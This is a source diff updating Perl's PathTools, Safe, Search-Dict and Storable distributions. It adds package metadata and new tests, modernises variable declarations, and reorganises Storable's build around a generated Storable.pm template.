--- /dev/null
+++ b/gnu/usr.bin/perl/dist/PathTools/MANIFEST
@@ -0,0 +1,29 @@
+Changes
+Cwd.pm
+Cwd.xs
+lib/File/Spec.pm
+lib/File/Spec/AmigaOS.pm
+lib/File/Spec/Cygwin.pm
+lib/File/Spec/Epoc.pm
+lib/File/Spec/Functions.pm
+lib/File/Spec/Mac.pm
+lib/File/Spec/OS2.pm
+lib/File/Spec/Unix.pm
+lib/File/Spec/VMS.pm
+lib/File/Spec/Win32.pm
+Makefile.PL
+MANIFEST This list of files
+META.json
+META.yml
+ppport.h
+t/abs2rel.t
+t/crossplatform.t
+t/cwd.t
+t/cwd_enoent.t
+t/Functions.t
+t/rel2abs2rel.t
+t/Spec-taint.t
+t/Spec.t
+t/taint.t
+t/tmpdir.t
+t/win32.t
diff --git a/gnu/usr.bin/perl/dist/PathTools/META.json b/gnu/usr.bin/perl/dist/PathTools/META.json
new file mode 100644
index 00000000000..ad429a5d32c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/PathTools/META.json
@@ -0,0 +1,55 @@
+{
+ "abstract" : "Tools for working with directory and file names",
+ "author" : [
+ "Perl 5 Porters"
+ ],
+ "dynamic_config" : 1,
+ "generated_by" : "ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010",
+ "license" : [
+ "perl_5"
+ ],
+ "meta-spec" : {
+ "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+ "version" : "2"
+ },
+ "name" : "PathTools",
+ "no_index" : {
+ "directory" : [
+ "t",
+ "inc"
+ ]
+ },
+ "prereqs" : {
+ "build" : {
+ "requires" : {
+ "ExtUtils::MakeMaker" : "0"
+ }
+ },
+ "configure" : {
+ "requires" : {
+ "ExtUtils::MakeMaker" : "0"
+ }
+ },
+ "runtime" : {
+ "requires" : {
+ "Carp" : "0",
+ "File::Basename" : "0",
+ "Scalar::Util" : "0",
+ "Test::More" : "0.88"
+ }
+ }
+ },
+ "release_status" : "stable",
+ "resources" : {
+ "bugtracker" : {
+ "web" : "https://rt.perl.org/rt3/"
+ },
+ "homepage" : "http://dev.perl.org/",
+ "repository" : {
+ "type" : "git",
+ "url" : "git://perl5.git.perl.org/perl.git"
+ }
+ },
+ "version" : "3.73",
+ "x_serialization_backend" : "JSON::PP version 2.27400_02"
+}
diff --git a/gnu/usr.bin/perl/dist/PathTools/META.yml b/gnu/usr.bin/perl/dist/PathTools/META.yml
new file mode 100644
index 00000000000..c2adfcfd31c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/PathTools/META.yml
@@ -0,0 +1,30 @@
+---
+abstract: 'Tools for working with directory and file names'
+author:
+ - 'Perl 5 Porters'
+build_requires:
+ ExtUtils::MakeMaker: '0'
+configure_requires:
+ ExtUtils::MakeMaker: '0'
+dynamic_config: 1
+generated_by: 'ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010'
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: '1.4'
+name: PathTools
+no_index:
+ directory:
+ - t
+ - inc
+requires:
+ Carp: '0'
+ File::Basename: '0'
+ Scalar::Util: '0'
+ Test::More: '0.88'
+resources:
+ bugtracker: https://rt.perl.org/rt3/
+ homepage: http://dev.perl.org/
+ repository: git://perl5.git.perl.org/perl.git
+version: '3.73'
+x_serialization_backend: 'CPAN::Meta::YAML version 0.018'
diff --git a/gnu/usr.bin/perl/dist/PathTools/lib/File/Spec/AmigaOS.pm b/gnu/usr.bin/perl/dist/PathTools/lib/File/Spec/AmigaOS.pm
index 7a5889cec49..3c8407266df 100644
--- a/gnu/usr.bin/perl/dist/PathTools/lib/File/Spec/AmigaOS.pm
+++ b/gnu/usr.bin/perl/dist/PathTools/lib/File/Spec/AmigaOS.pm
@@ -1,13 +1,12 @@
package File::Spec::AmigaOS;
use strict;
-use vars qw(@ISA $VERSION);
require File::Spec::Unix;
-$VERSION = '3.64';
+our $VERSION = '3.74';
$VERSION =~ tr/_//d;
-@ISA = qw(File::Spec::Unix);
+our @ISA = qw(File::Spec::Unix);
=head1 NAME
diff --git a/gnu/usr.bin/perl/dist/PathTools/t/cwd.t b/gnu/usr.bin/perl/dist/PathTools/t/cwd.t
index 57fd866fbdb..483b4378d52 100644
--- a/gnu/usr.bin/perl/dist/PathTools/t/cwd.t
+++ b/gnu/usr.bin/perl/dist/PathTools/t/cwd.t
@@ -145,7 +145,7 @@ Cwd::chdir $Test_Dir;
foreach my $func (qw(cwd getcwd fastcwd fastgetcwd)) {
my $result = eval "$func()";
- is $@, '';
+ is $@, '', "No exception for ${func}() in string eval";
dir_ends_with( $result, $Test_Dir, "$func()" );
}
@@ -171,7 +171,7 @@ rmtree($test_dirs[0], 0, 0);
my $check = ($vms_mode ? qr|\b((?i)t)\]$| :
qr|\bt$| );
- like($ENV{PWD}, $check);
+ like($ENV{PWD}, $check, "We're in a 't' directory");
}
{
@@ -179,7 +179,7 @@ rmtree($test_dirs[0], 0, 0);
my $start_pwd = $ENV{PWD};
mkpath([$Test_Dir], 0, 0777);
Cwd::abs_path($Test_Dir);
- is $ENV{PWD}, $start_pwd;
+ is $ENV{PWD}, $start_pwd, "abs_path() does not trample \$ENV{PWD}";
rmtree($test_dirs[0], 0, 0);
}
@@ -192,6 +192,7 @@ SKIP: {
my $abs_path = Cwd::abs_path($file);
my $fast_abs_path = Cwd::fast_abs_path($file);
+ my $pas = Cwd::_perl_abs_path($file);
my $want = quotemeta(
File::Spec->rel2abs( $Test_Dir )
);
@@ -205,9 +206,9 @@ SKIP: {
$want = quotemeta($want);
}
- like($abs_path, qr|$want$|i);
- like($fast_abs_path, qr|$want$|i);
- like(Cwd::_perl_abs_path($file), qr|$want$|i) if $EXTRA_ABSPATH_TESTS;
+ like($abs_path, qr|$want$|i, "Cwd::abs_path produced $abs_path");
+ like($fast_abs_path, qr|$want$|i, "Cwd::fast_abs_path produced $fast_abs_path");
+ like($pas, qr|$want$|i, "Cwd::_perl_abs_path produced $pas") if $EXTRA_ABSPATH_TESTS;
rmtree($test_dirs[0], 0, 0);
1 while unlink $file;
@@ -248,8 +249,8 @@ SKIP: {
SKIP: {
my $dir = "${$}a\nx";
- mkdir $dir or skip "OS does not support dir names containing LF";
- chdir $dir or skip "OS cannot chdir into LF";
+ mkdir $dir or skip "OS does not support dir names containing LF", 1;
+ chdir $dir or skip "OS cannot chdir into LF", 1;
eval { Cwd::fast_abs_path() };
is $@, "", 'fast_abs_path does not die in dir whose name contains LF';
chdir File::Spec->updir;
diff --git a/gnu/usr.bin/perl/dist/PathTools/t/cwd_enoent.t b/gnu/usr.bin/perl/dist/PathTools/t/cwd_enoent.t
new file mode 100644
index 00000000000..8f3a1fb1fb3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/PathTools/t/cwd_enoent.t
@@ -0,0 +1,52 @@
+use warnings;
+use strict;
+
+use Config;
+use Errno qw(ENOENT);
+use File::Temp qw(tempdir);
+use Test::More;
+
+if($^O eq "cygwin") {
+ # This test skipping should be removed when the Cygwin bug is fixed.
+ plan skip_all => "getcwd() fails to fail on Cygwin [perl #132733]";
+}
+
+my $tmp = tempdir(CLEANUP => 1);
+unless(mkdir("$tmp/testdir") && chdir("$tmp/testdir") && rmdir("$tmp/testdir")){
+ plan skip_all => "can't be in non-existent directory";
+}
+
+plan tests => 8;
+require Cwd;
+
+foreach my $type (qw(regular perl)) {
+ SKIP: {
+ skip "_perl_abs_path() not expected to work", 4
+ if $type eq "perl" &&
+ !(($Config{prefix} =~ m/\//) && $^O ne "cygwin");
+
+ skip "getcwd() doesn't fail on non-existent directories on this platform", 4
+ if $type eq 'regular' && $^O eq 'dragonfly';
+
+ no warnings "redefine";
+ local *Cwd::abs_path = \&Cwd::_perl_abs_path if $type eq "perl";
+ local *Cwd::getcwd = \&Cwd::_perl_getcwd if $type eq "perl";
+ my($res, $eno);
+ $! = 0;
+ $res = Cwd::getcwd();
+ $eno = 0+$!;
+ is $res, undef, "$type getcwd result on non-existent directory";
+ is $eno, ENOENT, "$type getcwd errno on non-existent directory";
+ $! = 0;
+ $res = Cwd::abs_path(".");
+ $eno = 0+$!;
+ is $res, undef, "$type abs_path result on non-existent directory";
+ is $eno, ENOENT, "$type abs_path errno on non-existent directory";
+ }
+}
+
+chdir $tmp or die "$tmp: $!";
+
+END { chdir $tmp; }
+
+1;
diff --git a/gnu/usr.bin/perl/dist/Safe/t/safe1.t b/gnu/usr.bin/perl/dist/Safe/t/safe1.t
index f22bb1bfaea..0f3d8e88d6a 100755
--- a/gnu/usr.bin/perl/dist/Safe/t/safe1.t
+++ b/gnu/usr.bin/perl/dist/Safe/t/safe1.t
@@ -14,7 +14,7 @@ BEGIN {
package test; # test from somewhere other than main
-use vars qw($bar);
+our $bar;
use Opcode 1.00, qw(opdesc opset opset_to_ops opset_to_hex
opmask_add full_opset empty_opset opcodes opmask define_optag);
diff --git a/gnu/usr.bin/perl/dist/Safe/t/safe3.t b/gnu/usr.bin/perl/dist/Safe/t/safe3.t
index 1f99f49ed92..c1b59c07f49 100755
--- a/gnu/usr.bin/perl/dist/Safe/t/safe3.t
+++ b/gnu/usr.bin/perl/dist/Safe/t/safe3.t
@@ -38,7 +38,7 @@ print $fh <<EOF;
\$_[1] = "\0" x $masksize;
EOF
close $fh;
-$safe2->rdo('nasty.pl');
+$safe2->rdo('./nasty.pl');
$safe2->reval( q{$x + $y} );
# Written this way to keep the Test::More that comes with perl 5.6.2 happy
ok( $@ =~ /^'?addition \(\+\)'? trapped by operation mask/,
diff --git a/gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t b/gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t
index bc997b05d2b..21b226e09c7 100644
--- a/gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t
+++ b/gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t
@@ -38,7 +38,7 @@ EOT
use Tie::Handle; # loads Tie::StdHandle
use Search::Dict;
-open(DICT, "+>dict-$$") or die "Can't create dict-$$: $!";
+open(DICT, '+>', "dict-$$") or die "Can't create dict-$$: $!";
binmode DICT; # To make length expected one.
print DICT $DICT;
diff --git a/gnu/usr.bin/perl/dist/Storable/Makefile.PL b/gnu/usr.bin/perl/dist/Storable/Makefile.PL
index 23111299f5d..697750566de 100644
--- a/gnu/usr.bin/perl/dist/Storable/Makefile.PL
+++ b/gnu/usr.bin/perl/dist/Storable/Makefile.PL
@@ -1,29 +1,55 @@
#
# Copyright (c) 1995-2000, Raphael Manfredi
+# Copyright (c) 2017, Reini Urban
#
# You may redistribute only under the same terms as Perl 5, as specified
# in the README file that comes with the distribution.
#
+use strict;
use ExtUtils::MakeMaker;
use Config;
+use File::Copy qw(move copy);
+use File::Spec;
+
+unlink "lib/Storable/Limit.pm";
+
+my $pm = { 'Storable.pm' => '$(INST_ARCHLIB)/Storable.pm' };
+unless ($ENV{PERL_CORE}) {
+ # the core Makefile takes care of this for core builds
+ $pm->{"lib/Storable/Limit.pm"} = '$(INST_ARCHLIB)/Storable/Limit.pm';
+}
WriteMakefile(
NAME => 'Storable',
DISTNAME => "Storable",
# We now ship this in t/
# PREREQ_PM => { 'Test::More' => '0.41' },
+ PL_FILES => { }, # prevent default behaviour
+ PM => $pm,
PREREQ_PM => { XSLoader => 0 },
INSTALLDIRS => ($] >= 5.007 && $] < 5.012) ? 'perl' : 'site',
- VERSION_FROM => 'Storable.pm',
+ VERSION_FROM => '__Storable__.pm',
+ ABSTRACT_FROM => '__Storable__.pm',
($ExtUtils::MakeMaker::VERSION > 6.45 ?
(META_MERGE => { resources =>
- { bugtracker => 'http://rt.perl.org/perlbug/' }
+ { bugtracker => 'http://rt.perl.org/perlbug/' },
+ provides => {
+ 'Storable' => {
+ file => 'Storable_pm.PL',
+ version => MM->parse_version('__Storable__.pm'),
+ },
+ },
+
},
) : ()),
dist => { SUFFIX => 'gz', COMPRESS => 'gzip -f' },
+ clean => { FILES => 'Storable-* Storable.pm lib' },
);
+# Unlink the .pm file included with the distribution
+1 while unlink "Storable.pm";
+
my $ivtype = $Config{ivtype};
# I don't know if the VMS folks ever supported long long on 5.6.x
@@ -43,3 +69,60 @@ in the Storable documentation for instructions on how to read your data.
EOM
}
+
+# compute the maximum stacksize, before and after linking
+package MY;
+
+# FORCE finish of INST_DYNAMIC, avoid loading the old Storable (failed XS_VERSION check)
+sub xlinkext {
+ my $s = shift->SUPER::linkext(@_);
+ $s =~ s|( :: .*)| $1 FORCE stacksize|;
+ $s
+}
+
+sub depend {
+ my $extra_deps = "";
+ my $options = "";
+ if ($ENV{PERL_CORE}) {
+ $options = "--core";
+ }
+ else {
+ # blib.pm needs arch/lib
+ $extra_deps = ' Storable.pm';
+ }
+ my $linktype = uc($_[0]->{LINKTYPE});
+ my $limit_pm = File::Spec->catfile('lib', 'Storable', 'Limit.pm');
+ "
+$limit_pm : stacksize \$(INST_$linktype)$extra_deps
+ \$(MKPATH) \$(INST_LIB)
+ \$(FULLPERLRUNINST) stacksize $options
+
+release : dist
+ git tag \$(VERSION)
+ cpan-upload \$(DISTVNAME).tar\$(SUFFIX)
+ git push
+ git push --tags
+"
+}
+
+sub test {
+ my ($self, %attr) = @_;
+
+ my $out = $self->SUPER::test(%attr);
+
+ if ($ENV{PERL_CORE}) {
+ $out =~ s!^(test(?:db)?_(?:static|dynamic)\b.*)!$1 lib/Storable/Limit.pm!gm;
+ }
+
+ $out;
+}
+
+sub postamble {
+'
+all :: Storable.pm
+ $(NOECHO) $(NOOP)
+
+Storable.pm :: Storable.pm.PL __Storable__.pm
+ $(PERLRUN) Storable.pm.PL
+'
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/README b/gnu/usr.bin/perl/dist/Storable/README
index 247dcc245af..f63ace94345 100644
--- a/gnu/usr.bin/perl/dist/Storable/README
+++ b/gnu/usr.bin/perl/dist/Storable/README
@@ -1,6 +1,7 @@
- Storable 2.14
+ Storable 3.05c
Copyright (c) 1995-2000, Raphael Manfredi
Copyright (c) 2001-2004, Larry Wall
+ Copyright (c) 2016,2017 cPanel Inc
------------------------------------------------------------------------
This program is free software; you can redistribute it and/or modify
@@ -15,8 +16,8 @@
+=======================================================================
| Storable is distributed as a module, but is also part of the official
| Perl core distribution, as of perl 5.8.
-| Maintenance is now done by the perl5-porters. We thank Raphael
-| Manfredi for providing us with this very useful module.
+| Maintenance is partially done by the perl5-porters, and for cperl by cPanel.
+| We thank Raphael Manfredi for providing us with this very useful module.
+=======================================================================
The Storable extension brings persistence to your data.
@@ -47,7 +48,10 @@ To compile this extension, run:
There is an embedded POD manual page in Storable.pm.
Storable was written by Raphael Manfredi <Raphael_Manfredi@pobox.com>
-Maintenance is now done by the perl5-porters <perl5-porters@perl.org>
+Maintenance is now done by cperl, https://github.com/rurban/Storable/
+Note that p5p still ships an old broken version, without stack overflow
+protection and large object support. As long as you don't store overlarge
+objects, they are compatible.
Please e-mail us with problems, bug fixes, comments and complaints,
although if you have complements you should send them to Raphael.
@@ -68,6 +72,10 @@ Thanks to (in chronological order):
Marc Lehmann <pcg@opengroup.org>
Justin Banks <justinb@wamnet.com>
Jarkko Hietaniemi <jhi@iki.fi> (AGAIN, as perl 5.7.0 Pumpkin!)
+ Todd Rinaldo <toddr@cpanel.net> and JD Lightsey <jd@cpanel.net>
+ for optional disabling tie and bless for increased security.
+ Reini Urban <rurban@cpanel.net> for the 3.0x >2G support and rewrite
+ JD Lightsey <jd@cpanel.net>
for their contributions.
@@ -104,6 +112,3 @@ bring you this Storable release:
Tim Bunce <Tim.Bunce@pobox.com>
VMSperlers
Yitzchak Scott-Thoennes <sthoenna@efn.org>
-
-If I've missed you out, please accept my apologies, and e-mail your
-patch to perl5-porters@perl.org.
diff --git a/gnu/usr.bin/perl/dist/Storable/Storable.pm.PL b/gnu/usr.bin/perl/dist/Storable/Storable.pm.PL
new file mode 100644
index 00000000000..df979c09a9b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/Storable.pm.PL
@@ -0,0 +1,35 @@
+use strict;
+use warnings;
+
+use Config;
+
+my $template;
+{ # keep all the code in an external template to keep it easy to update
+ local $/;
+ open my $FROM, '<', '__Storable__.pm' or die $!;
+ $template = <$FROM>;
+ close $FROM or die $!;
+}
+
+sub CAN_FLOCK {
+ return
+ $Config{'d_flock'} ||
+ $Config{'d_fcntl_can_lock'} ||
+ $Config{'d_lockf'}
+ ? 1 : 0;
+}
+
+my $CAN_FLOCK = CAN_FLOCK();
+
+# populate the sub and preserve it if used outside
+$template =~ s{^sub CAN_FLOCK;.*$}{sub CAN_FLOCK { ${CAN_FLOCK} } # computed by Storable.pm.PL}m;
+# alternatively we could remove the sub
+#$template =~ s{^sub CAN_FLOCK;.*$}{}m;
+# replace local function calls to hardcoded value
+$template =~ s{&CAN_FLOCK}{${CAN_FLOCK}}g;
+
+{
+ open my $OUT, '>', 'Storable.pm' or die $!;
+ print {$OUT} $template or die $!;
+ close $OUT or die $!;
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/__Storable__.pm b/gnu/usr.bin/perl/dist/Storable/__Storable__.pm
new file mode 100644
index 00000000000..71c669daaf2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/__Storable__.pm
@@ -0,0 +1,1430 @@
+#
+# Copyright (c) 1995-2001, Raphael Manfredi
+# Copyright (c) 2002-2014 by the Perl 5 Porters
+# Copyright (c) 2015-2016 cPanel Inc
+# Copyright (c) 2017 Reini Urban
+#
+# You may redistribute only under the same terms as Perl 5, as specified
+# in the README file that comes with the distribution.
+#
+
+require XSLoader;
+require Exporter;
+package Storable;
+
+our @ISA = qw(Exporter);
+our @EXPORT = qw(store retrieve);
+our @EXPORT_OK = qw(
+ nstore store_fd nstore_fd fd_retrieve
+ freeze nfreeze thaw
+ dclone
+ retrieve_fd
+ lock_store lock_nstore lock_retrieve
+ file_magic read_magic
+ BLESS_OK TIE_OK FLAGS_COMPAT
+ stack_depth stack_depth_hash
+);
+
+our ($canonical, $forgive_me);
+
+our $VERSION = '3.08';
+
+our $recursion_limit;
+our $recursion_limit_hash;
+
+do "Storable/Limit.pm";
+
+$recursion_limit = 512
+ unless defined $recursion_limit;
+$recursion_limit_hash = 256
+ unless defined $recursion_limit_hash;
+
+BEGIN {
+ if (eval {
+ local $SIG{__DIE__};
+ local @INC = @INC;
+ pop @INC if $INC[-1] eq '.';
+ require Log::Agent;
+ 1;
+ }) {
+ Log::Agent->import;
+ }
+ #
+ # Use of Log::Agent is optional. If it hasn't imported these subs then
+ # provide a fallback implementation.
+ #
+ unless ($Storable::{logcroak} && *{$Storable::{logcroak}}{CODE}) {
+ require Carp;
+ *logcroak = sub {
+ Carp::croak(@_);
+ };
+ }
+ unless ($Storable::{logcarp} && *{$Storable::{logcarp}}{CODE}) {
+ require Carp;
+ *logcarp = sub {
+ Carp::carp(@_);
+ };
+ }
+}
+
+#
+# They might miss :flock in Fcntl
+#
+
+BEGIN {
+ if (eval { require Fcntl; 1 } && exists $Fcntl::EXPORT_TAGS{'flock'}) {
+ Fcntl->import(':flock');
+ } else {
+ eval q{
+ sub LOCK_SH () { 1 }
+ sub LOCK_EX () { 2 }
+ };
+ }
+}
+
+sub CLONE {
+ # clone context under threads
+ Storable::init_perinterp();
+}
+
+sub BLESS_OK () { 2 }
+sub TIE_OK () { 4 }
+sub FLAGS_COMPAT () { BLESS_OK | TIE_OK }
+
+# By default restricted hashes are downgraded on earlier perls.
+
+$Storable::flags = FLAGS_COMPAT;
+$Storable::downgrade_restricted = 1;
+$Storable::accept_future_minor = 1;
+
+XSLoader::load('Storable');
+
+#
+# Determine whether locking is possible, but only when needed.
+#
+
+sub CAN_FLOCK; # TEMPLATE - replaced by Storable.pm.PL
+
+sub show_file_magic {
+ print <<EOM;
+#
+# To recognize the data files of the Perl module Storable,
+# the following lines need to be added to the local magic(5) file,
+# usually either /usr/share/misc/magic or /etc/magic.
+#
+0 string perl-store perl Storable(v0.6) data
+>4 byte >0 (net-order %d)
+>>4 byte &01 (network-ordered)
+>>4 byte =3 (major 1)
+>>4 byte =2 (major 1)
+
+0 string pst0 perl Storable(v0.7) data
+>4 byte >0
+>>4 byte &01 (network-ordered)
+>>4 byte =5 (major 2)
+>>4 byte =4 (major 2)
+>>5 byte >0 (minor %d)
+EOM
+}
+
+sub file_magic {
+ require IO::File;
+
+ my $file = shift;
+ my $fh = IO::File->new;
+ open($fh, "<", $file) || die "Can't open '$file': $!";
+ binmode($fh);
+ defined(sysread($fh, my $buf, 32)) || die "Can't read from '$file': $!";
+ close($fh);
+
+ $file = "./$file" unless $file; # ensure TRUE value
+
+ return read_magic($buf, $file);
+}
+
+sub read_magic {
+ my($buf, $file) = @_;
+ my %info;
+
+ my $buflen = length($buf);
+ my $magic;
+ if ($buf =~ s/^(pst0|perl-store)//) {
+ $magic = $1;
+ $info{file} = $file || 1;
+ }
+ else {
+ return undef if $file;
+ $magic = "";
+ }
+
+ return undef unless length($buf);
+
+ my $net_order;
+ if ($magic eq "perl-store" && ord(substr($buf, 0, 1)) > 1) {
+ $info{version} = -1;
+ $net_order = 0;
+ }
+ else {
+ $buf =~ s/(.)//s;
+ my $major = (ord $1) >> 1;
+ return undef if $major > 4; # sanity (assuming we never go that high)
+ $info{major} = $major;
+ $net_order = (ord $1) & 0x01;
+ if ($major > 1) {
+ return undef unless $buf =~ s/(.)//s;
+ my $minor = ord $1;
+ $info{minor} = $minor;
+ $info{version} = "$major.$minor";
+ $info{version_nv} = sprintf "%d.%03d", $major, $minor;
+ }
+ else {
+ $info{version} = $major;
+ }
+ }
+ $info{version_nv} ||= $info{version};
+ $info{netorder} = $net_order;
+
+ unless ($net_order) {
+ return undef unless $buf =~ s/(.)//s;
+ my $len = ord $1;
+ return undef unless length($buf) >= $len;
+ return undef unless $len == 4 || $len == 8; # sanity
+ @info{qw(byteorder intsize longsize ptrsize)}
+ = unpack "a${len}CCC", $buf;
+ (substr $buf, 0, $len + 3) = '';
+ if ($info{version_nv} >= 2.002) {
+ return undef unless $buf =~ s/(.)//s;
+ $info{nvsize} = ord $1;
+ }
+ }
+ $info{hdrsize} = $buflen - length($buf);
+
+ return \%info;
+}
+
+sub BIN_VERSION_NV {
+ sprintf "%d.%03d", BIN_MAJOR(), BIN_MINOR();
+}
+
+sub BIN_WRITE_VERSION_NV {
+ sprintf "%d.%03d", BIN_MAJOR(), BIN_WRITE_MINOR();
+}
+
+#
+# store
+#
+# Store target object hierarchy, identified by a reference to its root.
+# The stored object tree may later be retrieved to memory via retrieve.
+# Returns undef if an I/O error occurred, in which case the file is
+# removed.
+#
+sub store {
+ return _store(\&pstore, @_, 0);
+}
+
+#
+# nstore
+#
+# Same as store, but in network order.
+#
+sub nstore {
+ return _store(\&net_pstore, @_, 0);
+}
+
+#
+# lock_store
+#
+# Same as store, but flock the file first (advisory locking).
+#
+sub lock_store {
+ return _store(\&pstore, @_, 1);
+}
+
+#
+# lock_nstore
+#
+# Same as nstore, but flock the file first (advisory locking).
+#
+sub lock_nstore {
+ return _store(\&net_pstore, @_, 1);
+}
+
+# Internal store to file routine
+sub _store {
+ my $xsptr = shift;
+ my $self = shift;
+ my ($file, $use_locking) = @_;
+ logcroak "not a reference" unless ref($self);
+ logcroak "wrong argument number" unless @_ == 2; # No @foo in arglist
+ local *FILE;
+ if ($use_locking) {
+ open(FILE, ">>", $file) || logcroak "can't write into $file: $!";
+ unless (&CAN_FLOCK) {
+ logcarp
+ "Storable::lock_store: fcntl/flock emulation broken on $^O";
+ return undef;
+ }
+ flock(FILE, LOCK_EX) ||
+ logcroak "can't get exclusive lock on $file: $!";
+ truncate FILE, 0;
+ # Unlocking will happen when FILE is closed
+ } else {
+ open(FILE, ">", $file) || logcroak "can't create $file: $!";
+ }
+ binmode FILE; # Archaic systems...
+ my $da = $@; # Don't mess if called from exception handler
+ my $ret;
+ # Call C routine nstore or pstore, depending on network order
+ eval { $ret = &$xsptr(*FILE, $self) };
+ # close will return true on success, so the or short-circuits, the ()
+ # expression is true, and for that case the block will only be entered
+ # if $@ is true (ie eval failed)
+ # if close fails, it returns false, $ret is altered, *that* is (also)
+ # false, so the () expression is false, !() is true, and the block is
+ # entered.
+ if (!(close(FILE) or undef $ret) || $@) {
+ unlink($file) or warn "Can't unlink $file: $!\n";
+ }
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $ret;
+}
+
+#
+# store_fd
+#
+# Same as store, but perform on an already opened file descriptor instead.
+# Returns undef if an I/O error occurred.
+#
+sub store_fd {
+ return _store_fd(\&pstore, @_);
+}
+
+#
+# nstore_fd
+#
+# Same as store_fd, but in network order.
+#
+sub nstore_fd {
+ my ($self, $file) = @_;
+ return _store_fd(\&net_pstore, @_);
+}
+
+# Internal store routine on opened file descriptor
+sub _store_fd {
+ my $xsptr = shift;
+ my $self = shift;
+ my ($file) = @_;
+ logcroak "not a reference" unless ref($self);
+ logcroak "too many arguments" unless @_ == 1; # No @foo in arglist
+ my $fd = fileno($file);
+ logcroak "not a valid file descriptor" unless defined $fd;
+ my $da = $@; # Don't mess if called from exception handler
+ my $ret;
+ # Call C routine nstore or pstore, depending on network order
+ eval { $ret = &$xsptr($file, $self) };
+ logcroak $@ if $@ =~ s/\.?\n$/,/;
+ local $\; print $file ''; # Autoflush the file if wanted
+ $@ = $da;
+ return $ret;
+}
+
+#
+# freeze
+#
+# Store object and its hierarchy in memory and return a scalar
+# containing the result.
+#
+sub freeze {
+ _freeze(\&mstore, @_);
+}
+
+#
+# nfreeze
+#
+# Same as freeze but in network order.
+#
+sub nfreeze {
+ _freeze(\&net_mstore, @_);
+}
+
+# Internal freeze routine
+sub _freeze {
+ my $xsptr = shift;
+ my $self = shift;
+ logcroak "not a reference" unless ref($self);
+ logcroak "too many arguments" unless @_ == 0; # No @foo in arglist
+ my $da = $@; # Don't mess if called from exception handler
+ my $ret;
+ # Call C routine mstore or net_mstore, depending on network order
+ eval { $ret = &$xsptr($self) };
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $ret ? $ret : undef;
+}
+
+#
+# retrieve
+#
+# Retrieve object hierarchy from disk, returning a reference to the root
+# object of that tree.
+#
+# retrieve(file, flags)
+# flags include by default BLESS_OK=2 | TIE_OK=4
+# with flags=0 or the global $Storable::flags set to 0, no resulting object
+# will be blessed nor tied.
+#
+sub retrieve {
+ _retrieve(shift, 0, @_);
+}
+
+#
+# lock_retrieve
+#
+# Same as retrieve, but with advisory locking.
+#
+sub lock_retrieve {
+ _retrieve(shift, 1, @_);
+}
+
+# Internal retrieve routine
+sub _retrieve {
+ my ($file, $use_locking, $flags) = @_;
+ $flags = $Storable::flags unless defined $flags;
+ my $FILE;
+ open($FILE, "<", $file) || logcroak "can't open $file: $!";
+ binmode $FILE; # Archaic systems...
+ my $self;
+ my $da = $@; # Could be from exception handler
+ if ($use_locking) {
+ unless (&CAN_FLOCK) {
+ logcarp
+ "Storable::lock_store: fcntl/flock emulation broken on $^O";
+ return undef;
+ }
+ flock($FILE, LOCK_SH) || logcroak "can't get shared lock on $file: $!";
+ # Unlocking will happen when FILE is closed
+ }
+ eval { $self = pretrieve($FILE, $flags) }; # Call C routine
+ close($FILE);
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $self;
+}
+
+#
+# fd_retrieve
+#
+# Same as retrieve, but perform from an already opened file descriptor instead.
+#
+sub fd_retrieve {
+ my ($file, $flags) = @_;
+ $flags = $Storable::flags unless defined $flags;
+ my $fd = fileno($file);
+ logcroak "not a valid file descriptor" unless defined $fd;
+ my $self;
+ my $da = $@; # Could be from exception handler
+ eval { $self = pretrieve($file, $flags) }; # Call C routine
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $self;
+}
+
+sub retrieve_fd { &fd_retrieve } # Backward compatibility
+
+#
+# thaw
+#
+# Recreate objects in memory from an existing frozen image created
+# by freeze. If the frozen image passed is undef, return undef.
+#
+# thaw(frozen_obj, flags)
+# flags include by default BLESS_OK=2 | TIE_OK=4
+# with flags=0 or the global $Storable::flags set to 0, no resulting object
+# will be blessed nor tied.
+#
+sub thaw {
+ my ($frozen, $flags) = @_;
+ $flags = $Storable::flags unless defined $flags;
+ return undef unless defined $frozen;
+ my $self;
+ my $da = $@; # Could be from exception handler
+ eval { $self = mretrieve($frozen, $flags) };# Call C routine
+ if ($@) {
+ $@ =~ s/\.?\n$/,/ unless ref $@;
+ logcroak $@;
+ }
+ $@ = $da;
+ return $self;
+}
+
+#
+# _make_re($re, $flags)
+#
+# Internal function used to thaw a regular expression.
+#
+
+my $re_flags;
+BEGIN {
+ if ($] < 5.010) {
+ $re_flags = qr/\A[imsx]*\z/;
+ }
+ elsif ($] < 5.014) {
+ $re_flags = qr/\A[msixp]*\z/;
+ }
+ elsif ($] < 5.022) {
+ $re_flags = qr/\A[msixpdual]*\z/;
+ }
+ else {
+ $re_flags = qr/\A[msixpdualn]*\z/;
+ }
+}
+
+sub _make_re {
+ my ($re, $flags) = @_;
+
+ $flags =~ $re_flags
+ or die "regexp flags invalid";
+
+ my $qr = eval "qr/\$re/$flags";
+ die $@ if $@;
+
+ $qr;
+}
+
+if ($] < 5.012) {
+ eval <<'EOS'
+sub _regexp_pattern {
+ my $re = "" . shift;
+ $re =~ /\A\(\?([xism]*)(?:-[xism]*)?:(.*)\)\z/s
+ or die "Cannot parse regexp /$re/";
+ return ($2, $1);
+}
+1
+EOS
+ or die "Cannot define _regexp_pattern: $@";
+}
+
+1;
